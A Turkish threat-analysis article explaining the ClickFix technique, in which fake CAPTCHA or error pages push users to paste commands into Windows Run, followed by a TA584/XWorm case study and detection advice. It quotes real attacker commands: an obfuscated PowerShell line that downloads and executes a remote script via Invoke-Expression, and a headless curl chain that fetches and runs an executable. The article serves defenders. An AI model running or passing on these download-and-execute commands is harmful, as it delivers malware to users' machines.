ClickFix: Kullanıcıyı Komut Çalıştırmaya İkna Eden Saldırı Yöntemi

Siber saldırılar her geçen gün daha karmaşık hale gelirken, saldırganlar yalnızca teknik zafiyetlerden değil, insan davranışlarından da yararlanıyor. Son dönemde dikkat çeken yöntemlerden biri olan ClickFix, kullanıcıyı sahte CAPTCHA, hata mesajı veya doğrulama ekranları üzerinden belirli komutları kendi sisteminde çalıştırmaya ikna ediyor.

Win + R → Ctrl + V → Enter

Kullanıcı açısından sıradan görünen bu işlem, saldırgan açısından PowerShell, CMD, MSHTA veya Rundll32 gibi sistem araçları üzerinden zararlı bir payload'ın çalıştırılmasının başlangıcı olabiliyor.

ClickFix'i tehlikeli hale getiren temel nokta ise saldırganın kullanıcıyı doğrudan saldırının bir parçası haline getirmesi. Bu yazıda ClickFix'in çalışma mantığını, sahte CAPTCHA ve clipboard manipülasyonunun kullanımını ve saldırı sonrasında oluşan süreci inceleyeceğiz.

ClickFix Nedir?

ClickFix, saldırganların kullanıcıları kötü amaçlı bir komutu kopyalayıp kendi sistemlerinde çalıştırmaya ikna ettiği bir sosyal mühendislik tekniğidir. Saldırı sırasında genellikle sahte CAPTCHA, hata mesajı, güvenlik doğrulaması veya sahte güncelleme ekranları kullanılarak kullanıcıya belirli adımlar yaptırılır.

Tekniğin temelinde, kullanıcının panosuna saldırgan tarafından hazırlanmış bir komutun yerleştirilmesi ve kullanıcının bu komutu Windows Run, PowerShell, CMD veya Terminal gibi ortamlarda çalıştırması bulunur. Böylece kullanıcı farkında olmadan saldırı zincirinin yürütme aşamasını kendisi başlatmış olur.

ClickFix bu nedenle klasik anlamda tek başına bir malware olarak değerlendirilmez. Daha çok, farklı payload'ların sisteme çalıştırılmasını sağlamak için kullanılan bir saldırı ve sosyal mühendislik yaklaşımıdır. Microsoft da ClickFix'i klasik bir malware yerine, kullanıcıyı enfeksiyon zincirini gönüllü olarak başlatmaya yönlendiren bir teknik olarak tanımlamaktadır.

MITRE ATT&CK, ClickFix'i T1204.004 — User Execution: Malicious Copy and Paste altında sınıflandırmaktadır. Bu teknik, saldırganın kullanıcıyı kötü amaçlı kodu kopyalayıp bir komut satırına yapıştırarak çalıştırmaya ikna etmesini ifade eder. ( attack.mitre.org/techniques/T1204/004/ )

ClickFix'in Ortaya Çıkışı ve Yayılımı

2024 yılında tehdit ortamında daha görünür hale gelen ve kısa sürede farklı saldırı grupları tarafından benimsenen bir sosyal mühendislik tekniğidir. İlk yaygın örnekleri Mart 2024 döneminde TA571 ve ClearFake ile bağlantılı kampanyalarda görüldü. Bu kampanyalarda kullanıcıya sahte hata veya doğrulama ekranları gösterilerek belirli bir komutu kendi bilgisayarında çalıştırması sağlanıyorsdu.

"ClickFix" ismi ise Proofpoint tarafından, bu yöntemin ClearFake ve TA571 tarafından kullanımını tanımlamak için ortaya atıldı. Zamanla aynı davranış farklı tehdit aktörlerinde de görülmeye başlayınca ClickFix, belirli bir kampanyadan ziyade daha genel bir saldırı tekniğini ifade etmeye başladı. Bu nedenle kaynaklarda Paste and Run, Pastejacking ve Fake CAPTCHA gibi farklı ifadelerle de karşılaşmak mümkün.

ClickFix'i geleneksel sosyal mühendislik saldırılarından ayıran temel nokta, kullanıcının yalnızca bir bağlantıya tıklamasının veya dosya açmasının değil, saldırgan tarafından hazırlanan komutu doğrudan kendi sisteminde çalıştırmasının sağlanmasıdır. Bu yaklaşım saldırganın kullanıcıyı saldırının aktif bir parçası haline getirmesine olanak tanır.

Teknik, 2024'ün ikinci yarısından itibaren phishing, ele geçirilmiş web siteleri, malvertising, sahte CAPTCHA ve sahte güncelleme ekranları gibi farklı yöntemlerle hızla yayıldı. 2024'ün sonlarından itibaren devlet destekli tehdit aktörlerinin de ClickFix varyasyonlarını kullanmaya başlamasıyla birlikte teknik daha geniş bir tehdit ortamına taşındı.

Mart 2025'te MITRE ATT&CK'e T1204.004 — User Execution: Malicious Copy and Paste olarak eklenmesi, ClickFix davranışının ayrı bir saldırı tekniği olarak kabul edildiğini gösterdi. 2026'da ise CrashFix gibi yeni varyasyonlarla yöntem daha gelişmiş sosyal mühendislik senaryolarına evrilmeye devam etti.

Saldırının Temel Çalışma Mantığı

ClickFix saldırılarının temelinde oldukça basit bir yöntem bulunuyor: **Kullanıcıya bir sorun gösteriliyor ve çözüm olarak saldırganın hazırladığı komutu çalıştırması isteniyor.**Saldırının teknik tarafı değişebilse de genel olarak birkaç aşamadan oluşuyor.

İlk aşamada kullanıcı genellikle phishing e-postası, malvertising, ele geçirilmiş bir web sitesi, sahte güncelleme veya sahte CAPTCHA üzerinden hazırlanan sayfaya yönlendiriliyor. Sayfa çoğu zaman kullanıcının ziyaret etmek istediği gerçek servisi taklit ediyor ve ekranda bir hata ya da doğrulama problemi varmış gibi gösteriliyor.

Örneğin kullanıcı karşısında şu tarz bir mesaj görebiliyor:

"Güvenlik doğrulaması başarısız. Devam etmek için aşağıdaki adımları uygulayın."

Buradan sonra kullanıcıdan Win + R, Ctrl + V ve Enter gibi klavye kısayollarını kullanması isteniyor. Sayfanın arka planındaki JavaScript ise kullanıcının panosuna saldırgan tarafından hazırlanmış komutu yerleştirebiliyor. Kullanıcı bunu normal bir doğrulama işlemi zannederek çalıştırdığında ise saldırı zinciri başlıyor.

Genel akış şu şekilde özetlenebilir:

Phishing / Malvertising / Ele geçirilmiş Web Sitesi
                    ↓
             Sahte CAPTCHA / Hata
                    ↓
          Kullanıcıya talimat gösterilir
                    ↓
          Zararlı içerik panoya yazılır
                    ↓
             Win + R / Terminal
                    ↓
                Ctrl + V
                    ↓
               Komut çalışır
                    ↓
        PowerShell / CMD / MSHTA vb.
                    ↓
             Payload indirilir
                    ↓
             Malware çalışır
                    ↓
        C2 / Veri hırsızlığı / Kalıcılık

Phishing / Malvertising / Ele geçirilmiş Web Sitesi
                    ↓
             Sahte CAPTCHA / Hata
                    ↓
          Kullanıcıya talimat gösterilir
                    ↓
          Zararlı içerik panoya yazılır
                    ↓
             Win + R / Terminal
                    ↓
                Ctrl + V
                    ↓
               Komut çalışır
                    ↓
        PowerShell / CMD / MSHTA vb.
                    ↓
             Payload indirilir
                    ↓
             Malware çalışır
                    ↓
        C2 / Veri hırsızlığı / Kalıcılık

Buradaki kritik nokta, zararlı komutun kullanıcı tarafından çalıştırılmasıdır. Saldırganın doğrudan bir dosyayı çalıştırması yerine kullanıcı sosyal mühendislik yoluyla bu işlemi kendisi gerçekleştiriyor.

ClickFix Senaryoları

ClickFix saldırılarında kullanılan yöntemler değişse de temel amaç aynıdır: Kullanıcıya gerçekçi görünen bir problem göstermek ve çözüm olarak belirli bir komutu kendi bilgisayarında çalıştırmasını sağlamak.

Saldırganlar bunun için CAPTCHA doğrulamaları, tarayıcı hataları, sahte güncellemeler ve güvenlik uyarıları gibi günlük internet kullanımında karşılaşılabilecek senaryolardan yararlanır. Sayfanın tasarımı ve kullanılan mesaj, kullanıcının dikkatini teknik risklerden uzaklaştırarak verilen talimatları uygulamasını sağlamaya odaklanır.

Sahte CAPTCHA ve "İnsan Doğrulama" Ekranları

ClickFix denildiğinde en sık karşılaşılan örneklerden biri, Google reCAPTCHA veya Cloudflare Turnstile gibi doğrulama sistemlerini taklit eden sayfalardır.

• Kullanıcı siteye girdiğinde karşısına "İnsan olduğunuzu doğrulamak için lütfen aşağıdaki adımları tamamlayın" şeklinde profesyonel bir doğrulama kutusu çıkar.
• Doğrulama butona basıldığında klasik "Otobüsleri seçin" veya "Trafik ışıklarını işaretleyin" görselleri yerine, doğrulamanın tamamlanması için klavyeden Win + R, CTRL + V ve Enter kombinasyonunun yapılması gerektiği yazılır. Kullanıcı, reCAPTCHA gibi güvenilir bir markanın logosunu gördüğü için bu talimatı sorgulamadan uygular.

Sahte Video Konferans Çağrıları (Kurumsal Saldırılar)

Özellikle uzaktan çalışanları ve kurumsal şirket personelini hedef alan bir yöntemdir. Saldırganlar; Google Meet, Zoom veya Microsoft Teams arayüzlerini birebir taklit eden sahte toplantı odaları oluştururlar.

• Kullanıcı bir toplantı bağlantısına tıkladığında sahte bir bekleme odasına alınır. Birkaç saniye sonra "Kamera/Mikrofon Sürücünüz Bulunamadı (Error Code: 0x80070005)" veya "Ses Eklentisi Eksik" uyarısı gösterilir.
• Toplantıya katılma telaşı içindeki kullanıcıya, "Toplantıya hemen katılabilmek için mikrofon sürücünüzü otomatik onarın" seçeneği sunulur. Adımları takip eden çalışan, kendi eliyle şirket bilgisayarına zararlı kod yerleştirmiş olur.

Sahte Tarayıcı ve Sistem Hata Bildirimleri

Bu senaryo, kullanıcıların "teknik aksaklıkları hızlıca çözme" isteğini istismar eder.

• Ekranda aniden beliren **"Google Chrome Sertifika Hatası"****, "Sistem Hatası Uyarıları" veya **"Tarayıcı Güncellemesi Zorunlu" içerikli tam ekran bir uyarı penceresi açılır.
• Uyarı metninde "Bu hatayı otomatik düzeltmek için aşağıdaki Onar (Fix) butonuna tıklayın" ifadesi yer alır. Butona tıklandığı an pano enjekte edilir ve kullanıcıya işletim sistemi terminali üzerinden "güncelleme patch'ini" çalıştırma talimatı verilir.

Bu senaryoların ortak noktası, saldırganın kullanıcıya inandırıcı bir gerekçe sunmasıdır. Bazen amaç CAPTCHA doğrulamasını tamamlamak, bazen tarayıcıyı düzeltmek, bazen de bir hizmete erişebilmektir.

Bu nedenle ClickFix saldırılarını değerlendirirken yalnızca sayfanın görünümüne odaklanmak yeterli değildir. Bir web sayfasının kullanıcıdan işletim sistemi üzerinden komut çalıştırmasını istemesi, özellikle de bunu CAPTCHA veya güncelleme bahanesiyle yapması, ciddi bir şüphe işaretidir.

Kullanıcıya sunulan senaryo değişebilir; ancak komutun çalıştırılmasıyla başlayan süreç, zararlı yazılımın sisteme indirilmesine ve sonraki saldırı aşamalarına zemin hazırlayabilir.

ClickFix Saldırılarında Sistem Araçları ve Payload Çalıştırma Süreci

ClickFix saldırılarında kullanıcı tarafından çalıştırılan komut, çoğu zaman saldırının yalnızca ilk aşamasıdır. Bu noktadan sonra saldırganlar, Windows ile birlikte gelen araçları kullanarak zararlı içeriği indirebilir, çalıştırabilir ve saldırının sonraki aşamalarına geçebilir.

Bu süreçte PowerShell, CMD, MSHTA ve Rundll32 gibi araçlar öne çıkar. Normal şartlarda sistem yönetimi, otomasyon veya uygulama çalıştırma amacıyla kullanılan bu araçlar, saldırganların elinde zararlı yazılımların sisteme taşınması ve yürütülmesi için bir araca dönüşebilir.

Sistem Araçları Saldırıda Nasıl Kullanılıyor?

PowerShell, komut ve script çalıştırma, web üzerinden içerik alma ve sonraki aşamalardaki işlemleri başlatma amacıyla kullanılabilir. CMD, farklı komutların ve diğer sistem araçlarının devreye sokulmasını sağlayabilir. MSHTA, HTML Application tabanlı içeriklerin çalıştırılmasında; Rundll32 ise belirli DLL işlevlerinin çağrılmasında kullanılabilir.

Bunların yanında WScript ve CScript gibi script araçları da bazı saldırı zincirlerinde rol oynayabilir. Ancak her ClickFix saldırısında aynı araçların kullanılması beklenmemelidir. Seçilen yöntem, kampanyanın yapısına ve saldırganın hedeflediği sonuca göre değişir.

Bu yaklaşım, Living off the Land LotL, olarak adlandırılır. Temel mantık, sistemde zaten bulunan meşru araçların kötü amaçlı işlemler için kullanılmasıdır.

Payload Nasıl İndiriliyor ve Çalıştırılıyor?

Kullanıcı tarafından çalıştırılan ilk komut, uzak bir kaynaktan script veya dosya alınmasını sağlayabilir. İndirilen içerik doğrudan çalıştırılabileceği gibi, başka bir script ya da yükleyici aracılığıyla ikinci bir aşamayı da başlatabilir.

Bu noktada saldırı zinciri birkaç farklı şekilde ilerleyebilir:

• Downloader: Uzak kaynaktan zararlı içeriği indirir.
• Loader: Başka bir zararlı yazılımın yüklenmesini veya çalıştırılmasını sağlar.
• Infostealer: Tarayıcı kayıtlı kimlik bilgileri, oturum verileri ve diğer hassas bilgileri hedefleyebilir.
• Remote Access Trojan: Saldırgana ele geçirilen sistem üzerinde uzaktan erişim ve kontrol imkânı sağlayabilir.

Bazı saldırılarda zararlı dosyalar diske kaydedilirken, bazılarında kod bellekte çalıştırılabilir veya meşru sistem süreçlerinin kötüye kullanılmasıyla yürütülebilir. Bu nedenle sistemde bilinen bir .exe dosyasının bulunmaması, tek başına zararlı faaliyetin gerçekleşmediğini göstermez.

Microsoft'un ClickFix analizlerinde Lumma Stealer gibi bilgi hırsızlarının yanı sıra XWorm, AsyncRAT ve NetSupport RAT gibi uzaktan erişim araçları ve farklı yükleyiciler de raporlanmıştır.

Saldırı Zinciri Burada Nasıl İlerliyor?

Genel akışı şu şekilde özetleyebiliriz:

Sahte CAPTCHA / Hata Ekranı
             ↓
    Kullanıcı Komutu Çalıştırır
             ↓
       PowerShell / CMD
             ↓
     Script veya Payload Alınır
             ↓
       Yükleyici / Ara Katman
             ↓
        Zararlı Yazılım
             ↓
   Veri Hırsızlığı / Uzaktan Erişim
             ↓
    Kalıcılık veya C2 İletişimi

Sahte CAPTCHA / Hata Ekranı
             ↓
    Kullanıcı Komutu Çalıştırır
             ↓
       PowerShell / CMD
             ↓
     Script veya Payload Alınır
             ↓
       Yükleyici / Ara Katman
             ↓
        Zararlı Yazılım
             ↓
   Veri Hırsızlığı / Uzaktan Erişim
             ↓
    Kalıcılık veya C2 İletişimi

Bu şemadaki her aşama zorunlu değildir. Bazı saldırılar doğrudan zararlı yazılım çalıştırırken, bazıları birden fazla script, yükleyici ve ek indirme aşaması içerebilir.

Örnek ClickFix Vakası: TA584 / XWorm Kampanyası Üzerinden İnceleme

ClickFix'in gerçek saldırılarda nasıl kullanıldığını anlamak için TA584 tehdit aktörünün XWorm dağıtım faaliyetlerini inceleyelim. NJCCIC tarafından yayımlanan 20 Kasım 2025 tarihli uyarıda, TA584 ile ilişkilendirilen ve login.gov ile Medicare.gov gibi hizmetleri taklit eden kimlik avı e-postaları ele alınıyor. Proofpoint'in Ocak 2026'da yayımladığı araştırma ise aynı tehdit aktörünün ClickFix tekniğini nasıl kullandığını ve XWorm'un sisteme nasıl taşındığını teknik ayrıntılarıyla açıklıyor.

TA584, kuruluşlara yönelik yüksek hacimli kimlik avı kampanyaları yürüten bir Initial Access Broker** (IAB)** olarak takip ediliyor. Temel amacı hedef sistemlere ilk erişimi sağlamak; elde edilen erişim ise daha sonraki zararlı faaliyetler için kullanılabiliyor.

1. İlk Aşama: Phishing E-postası

Saldırı, kullanıcıya güvenilir bir kurumdan gelmiş izlenimi veren e-postayla başlıyor.

TA584'nin kullandığı yemler arasında sağlık hizmetleri, devlet kurumları, ödeme işlemleri, işe alım süreçleri ve belge inceleme talepleri bulunuyor. NJCCIC'nin raporladığı örneklerde login.gov ve Medicare.gov taklitlerinin görülmesi, saldırganların kullanıcıların güven duyduğu hizmetlerden nasıl yararlandığını gösteriyor.

E-posta genellikle kullanıcıyı bir belgeyi görüntülemeye, bir talebi yanıtlamaya veya belirli bir işlemi tamamlamaya yönlendiriyor. Mesajdaki bağlantı ise saldırganın hazırladığı dağıtım zincirine açılıyor.

Proofpoint'in araştırmasına göre TA584, ele geçirilmiş e-posta hesaplarından ve bazı kampanyalarda SendGrid ile Amazon Simple Email Service gibi e-posta servislerinden yararlandı. E-posta gönderenlerin ve kullanılan temaların sık değiştirilmesi, saldırıların yalnızca gönderen adresine veya konu satırına bakılarak tespit edilmesini zorlaştırıyor.

2. İkinci Aşama: Yönlendirmeler ve Sahte CAPTCHA

Kullanıcının bağlantıya tıklaması, doğrudan zararlı içeriğe ulaşacağı anlamına gelmiyor. Arada farklı yönlendirmeler ve filtreleme mekanizmaları bulunabiliyor.

TA584 kampanyalarında hedefe özel URL'ler, IP adresi kontrolleri ve coğrafi konuma bağlı filtreleme yöntemleri kullanıldığı raporlandı. Bazı bağlantılar yalnızca belirli koşulları karşılayan kullanıcıları saldırı sayfasına yönlendiriyor.

Bu kontrollerden geçen kullanıcı, e-postanın konusuna uygun hazırlanmış bir web sayfasına ulaşıyor. Sayfada genellikle Slide CAPTCHA olarak adlandırılan bir doğrulama mekanizması bulunuyor.

Kullanıcı doğrulamayı tamamladığında karşısına gerçek bir CAPTCHA yerine, belirli talimatları uygulamasını isteyen ClickFix ekranı çıkabiliyor.

Buradaki amaç, kullanıcıyı ilk aşamada şüpheli görünmeyen bir işlemle meşgul etmek ve ardından komut çalıştırma aşamasına yönlendirmek.

3. Üçüncü Aşama: ClickFix Talimatları

ClickFix'in en kritik aşaması burada başlıyor.

Kullanıcıya karşılaştığı sorunu çözmek veya doğrulamayı tamamlamak için belirli klavye kısayollarını kullanması söyleniyor. Bazı senaryolarda kullanıcıdan Windows'un Çalıştır penceresini açması, panodaki içeriği yapıştırması ve çalıştırması isteniyor.

Win + R → Ctrl + V → Enter

Kullanıcı bu işlemi gerçekleştirdiğinde, panoda bulunan komut çalıştırılıyor ve PowerShell devreye giriyor.

Bu aşamada saldırganın kullanıcıyı kandırmak için kullandığı web sayfası ile endpoint üzerinde gerçekleşen olaylar birbirine bağlanıyor. Artık inceleme yalnızca tarayıcı geçmişi veya ziyaret edilen URL ile sınırlı değil; çalışan süreçler, komut satırları ve sonraki ağ bağlantıları da araştırılmalı.

MITRE ATT&CK, bu davranışı T1204.004 — User Execution: Malicious Copy and Paste altında sınıflandırıyor.

4. Dördüncü Aşama: PowerShell ile İkinci Aşamanın Başlatılması

Kullanıcının çalıştırdığı ilk komut, saldırının son aşaması değil. TA584 kampanyalarında PowerShell'in, başka bir uzak PowerShell betiğini çalıştırmak için kullanıldığı raporlandı.

İlk komuttan sonra ikinci bir betik alınarak saldırı zinciri devam ettiriliyor. Bu betikteki kod, analiz edilmesini zorlaştırmak amacıyla gizleme yöntemleriyle düzenlenebiliyor.

Proofpoint ayrıca dağıtım altyapısında dikkat çekici bir özellik gözlemledi: İlk aşamadaki betik, aynı IP adresinin daha önce ilgili açılış sayfasına erişmiş olması gibi koşullara bağlanabiliyor. Sayfa ayrıca payload'a erişilip erişilmediğini kontrol edebiliyor ve işlem tamamlandığında tarayıcıyı DocuSign gibi zararsız görünen bir adrese yönlendirebiliyor.

Bu durum, zararlı bağlantının daha sonra bağımsız şekilde analiz edildiğinde neden aynı sonucu vermeyebileceğini açıklamaya yardımcı oluyor.

5. Beşinci Aşama: XWorm P0WER Yükünün Hazırlanması

Proofpoint'in incelediği XWorm P0WER yapılandırmasında, PowerShell betiği zararlı içeriği gizlenmiş verilerden yeniden oluşturuyor.

Araştırmada iki temel bileşen öne çıkıyor:

• .NET tabanlı yükleyici: Zararlı içeriğin hazırlanmasına ve çalıştırılmasına aracılık ediyor.
• XWorm payload'ı: Sistemde uzaktan erişim ve kontrol imkânı sağlamayı hedefleyen asıl zararlı bileşen.

Betikte Base64 kodlaması, metin değiştirme ve hata mesajlarını bastırma gibi yöntemler kullanıldığı raporlandı. Ayrıca AMSI taramasını etkisizleştirmeyi amaçlayan bir teknik de gözlemlendi.

AMSI, desteklenen uygulamalardaki script ve içeriklerin güvenlik ürünleri tarafından incelenmesine yardımcı olan Windows bileşenidir. Bu tür kontrollerin atlatılmaya çalışılması, zararlı kodun tespit edilmesini zorlaştırmayı hedefler.

Burada dikkat edilmesi gereken nokta, Base64 kullanımı veya PowerShell çalıştırılmasının tek başına zararlı faaliyet kanıtı olmadığıdır. Şüpheyi güçlendiren şey; uzaktan alınan içerik, kodun gizlenmesi, güvenlik mekanizmalarının hedeflenmesi ve ardından gerçekleşen olağan dışı süreç davranışlarının birlikte görülmesidir.

6. Altıncı Aşama: Process Hollowing ve Bellek Üzerinde Çalıştırma

XWorm P0WER zincirinin dikkat çekici özelliklerinden biri, zararlı yükün meşru bir Windows sürecinin belleği kullanılarak çalıştırılabilmesidir.

Proofpoint, yükleyicinin Microsoft tarafından imzalanmış RegSvcs.exe aracını askıya alınmış durumda başlattığı, süreç belleğini değiştirdiği ve bu belleğe XWorm payload'ını yerleştirdiği bir process hollowing tekniği bildirdi.

Process hollowing, meşru bir sürecin bellek alanının değiştirilerek farklı kodun o süreç altında yürütülmesi tekniğidir.

Bu yöntemde saldırgan, zararlı yazılımı alışılmış biçimde bir çalıştırılabilir dosya olarak diske bırakmak yerine bellek üzerinden çalıştırmaya çalışır. Böylece yalnızca dosya adına veya diskteki bilinen zararlı dosyalara dayanan kontroller yetersiz kalabilir.

Analist açısından burada önemli olan, RegSvcs.exe dosyasının adına bakarak işlemi normal kabul etmemektir. Sürecin nasıl başlatıldığı, bellekteki davranışı, üst süreç ilişkileri ve eş zamanlı ağ aktiviteleri birlikte değerlendirilmelidir.

7. Yedinci Aşama: C2 İletişimi ve Kalıcılık

XWorm çalışmaya başladıktan sonra saldırganın kontrolündeki komuta-kontrol (C2) altyapısıyla iletişim kurabilir.

XWorm, uzaktan erişim özelliklerine sahip bir Truva atıdır RAT. Yapılandırmasına bağlı olarak sistem bilgilerini toplama, ek modüller indirme ve uzaktan komut yürütme gibi faaliyetlerde bulunabilir. Bazı sürümlerinde fidye yazılımı benzeri işlevler de yer alır.

Proofpoint'in raporladığı zincirde, XWorm'un C2 üzerinden ek modüller alması ve kalıcılık sağlamak için SharpHide bileşeninden yararlanması da dikkat çekiyor.

SharpHide, Windows Kayıt Defteri'ndeki başlangıç girdilerini standart araçlarla görüntülenmesini zorlaştıracak şekilde gizlemeyi amaçlayan bir araçtır. Raporda, kayıt girdilerine eklenen null karakterlerinin bazı standart listeleme yöntemlerini etkileyebildiği ve bu girdilerin temel incelemelerde gözden kaçabildiği belirtiliyor.

Gizlenmiş başlangıç girdisi, sistem açıldığında mshta.exe, VBScript ve gizli PowerShell işlemlerinin devreye girmesini sağlayabiliyor. Böylece saldırgan, sonraki başlangıçlarda da uzak betiği yeniden çalıştırabilecek bir yapı oluşturabiliyor.

Bu aşama, ClickFix'in yalnızca ilk komutun çalıştırılmasıyla sınırlı kalmadığını; uygun koşullarda kalıcılık ve uzaktan kontrol sağlayan daha kapsamlı bir ihlale dönüşebildiğini gösteriyor.

Örnek Komut ve Payload İndirme URL'si

Proofpoint'in raporunda yer alan ClickFix payload URL'si şudur:

hxxp://94[.]159[.]113[.]37/ssd[.]pngpowershell
powershell "$iNqI3BnIyB8I2khIWUhISEheCMuUkVwbEFjRS;$FAZ='VNJSMDIMSDCNSENDMCLOFPAMQXJDFHDKS';FUNCTION MPE {Invoke-Expression (Invoke-RestMethod 94.159.113[.]37/ssd[.]png)}; $BJI=$FAZ[6]+$FAZ[13]+$FAZ[23];MPE;$iNqI3BnIyB8I2khIWUhISEhS"

hxxp://94[.]159[.]113[.]37/ssd[.]pngpowershell
powershell "$iNqI3BnIyB8I2khIWUhISEheCMuUkVwbEFjRS;$FAZ='VNJSMDIMSDCNSENDMCLOFPAMQXJDFHDKS';FUNCTION MPE {Invoke-Expression (Invoke-RestMethod 94.159.113[.]37/ssd[.]png)}; $BJI=$FAZ[6]+$FAZ[13]+$FAZ[23];MPE;$iNqI3BnIyB8I2khIWUhISEhS"

Bu, iki bağımsız kaynağın NJCCIC ve Proofpoint aynı altyapıyı işaret ettiğini göstermektedir. 94[.]159[.]113[.]37 IP adresi, Nisan 2025'ten beri TA584 tarafından kullanılmaktadır ve AS216234 tarafından barındırılmaktadır . .png uzantısı, gerçek bir görüntü değil, PowerShell betiğini gizlemek için kullanılan bir kamuflajdır.

• Rastgele değişken adları ($iNqI3BnIyB8I2khIWUhISEheCMuUkVwbEFjRS): Statik imza tespitini zorlaştırmak için eklenmiş **"gürültü"**dür.
• Dize parçalama ile "IEX" oluşturma: $FAZ değişkenindeki karakterler indekslenerek birleştirilir. $FAZ[6] = "I", $FAZ[13] = "E", $FAZ[23] = "X" → "IEX" (Invoke-Expression). Saldırgan, yasaklı cmdlet adını parçalayarak tespitten kaçınmaya çalışmaktadır.
• Uzaktan indirme: Invoke-RestMethod 94.159.113[.]37/ssd[.]png ifadesi, .png uzantılı bir URL'den içerik çeker. Bu gerçek bir görüntü değil, PowerShell scriptidir.

Klasik ClickFix — conhost.exe ile Headless Yürütme

JavaScript panoya Base64 ile kodlanmış bir komut kopyalar:

Base64 çözüldüğünde şu komut ortaya çıkar:

Komutun Analizi

Komutun ilk bölümünde conhost.exe --headless kullanılarak görünür konsol penceresi olmadan CMD işlemi başlatılıyor.

conhost.exe --headless cmd /c

conhost.exe --headless cmd /c

cmd /c kendisine verilen komutları çalıştırıp işlemi sonlandırırken, --headless parametresi konsol penceresinin görünmeden çalıştırılmasını sağlıyor.

Ardından çalışma dizini belirleniyor:

cd /D C:\Users\Bob

cd /D C:\Users\Bob

Sonraki aşamada curl.exe kullanılarak uzak sunucudan a.exe isimli dosya indiriliyor:

curl -s -o a.exe hxxp://213.209.150[.]188:8112/a.exe

curl -s -o a.exe hxxp://213.209.150[.]188:8112/a.exe

Burada -s çıktıyı sessizleştirirken, -o indirilen içeriğin a.exe adıyla kaydedilmesini sağlıyor.

İndirme işleminin ardından dosya tekrar conhost.exe --headless üzerinden çalıştırılıyor:

conhost.exe --headless a.exe

conhost.exe --headless a.exe

Komutun sonundaki REM ifadesi ise CMD içerisinde yorum satırı oluşturuyor. Devamındaki "By pressing the enter button you confirm you are not a bot" ifadesi, kullanıcının karşısına çıkan CAPTCHA talimatıyla ilişkilendirilmiş durumda.

Bu Süreçte Nelere Dikkat Etmeli?

ClickFix şüphesi bulunan bir olayda yalnızca çalışan aracın adına bakmak yeterli değildir. Sürecin nasıl başladığı, hangi komutun çalıştırıldığı ve sonrasında neler gerçekleştiği birlikte değerlendirilmelidir.

Process tree, command line, dosya oluşturma olayları, dış ağ bağlantıları ve zamanlanmış görevler incelenmelidir. Windows Run penceresi üzerinden başlatılan komutlar için RunMRU kayıtları da incelemeye yardımcı olabilir.

Örneğin bir kullanıcının şüpheli bir web sitesini ziyaret etmesinin hemen ardından PowerShell'in çalışması, dış bir kaynağa bağlantı kurulması ve yeni bir script dosyası oluşturulması birlikte değerlendirildiğinde anlamlı bir saldırı zinciri ortaya çıkabilir. Bununla birlikte bu davranışların her biri tek başına kesin bir ClickFix göstergesi değildir.

ClickFix'in asıl tehlikesi, basit görünen bir kullanıcı etkileşiminin daha kapsamlı bir saldırının başlangıcına dönüşebilmesidir. Bu nedenle tespit sürecinde tek bir dosyaya veya IOC'ye odaklanmak yerine, ilk komuttan sonraki faaliyetleri bir bütün olarak incelemek gerekir.

Sonuç

ClickFix, siber saldırılarda insan faktörünün ne kadar kritik bir rol oynadığını gösteren dikkat çekici tekniklerden biri. Sıradan bir doğrulama ekranıyla başlayan süreç; PowerShell, CMD gibi sistem araçlarının kötüye kullanılması, zararlı payload'ların çalıştırılması ve sistem üzerinde kalıcılık sağlanmasına kadar uzanabiliyor.

Bu saldırı yöntemi, savunma tarafında yalnızca zararlı dosyalara ve bilinen IOC'lere odaklanmanın yeterli olmadığını da ortaya koyuyor. Kullanıcı davranışları, süreç ilişkileri, komut satırları ve ağ aktiviteleri bir bütün olarak değerlendirilmeli.

ClickFix'te saldırganın en büyük avantajı kullandığı araçlar değil, kullanıcının gerçekleştirdiği işlemin aslında bir saldırının başlangıcı olduğunu fark etmemesidir.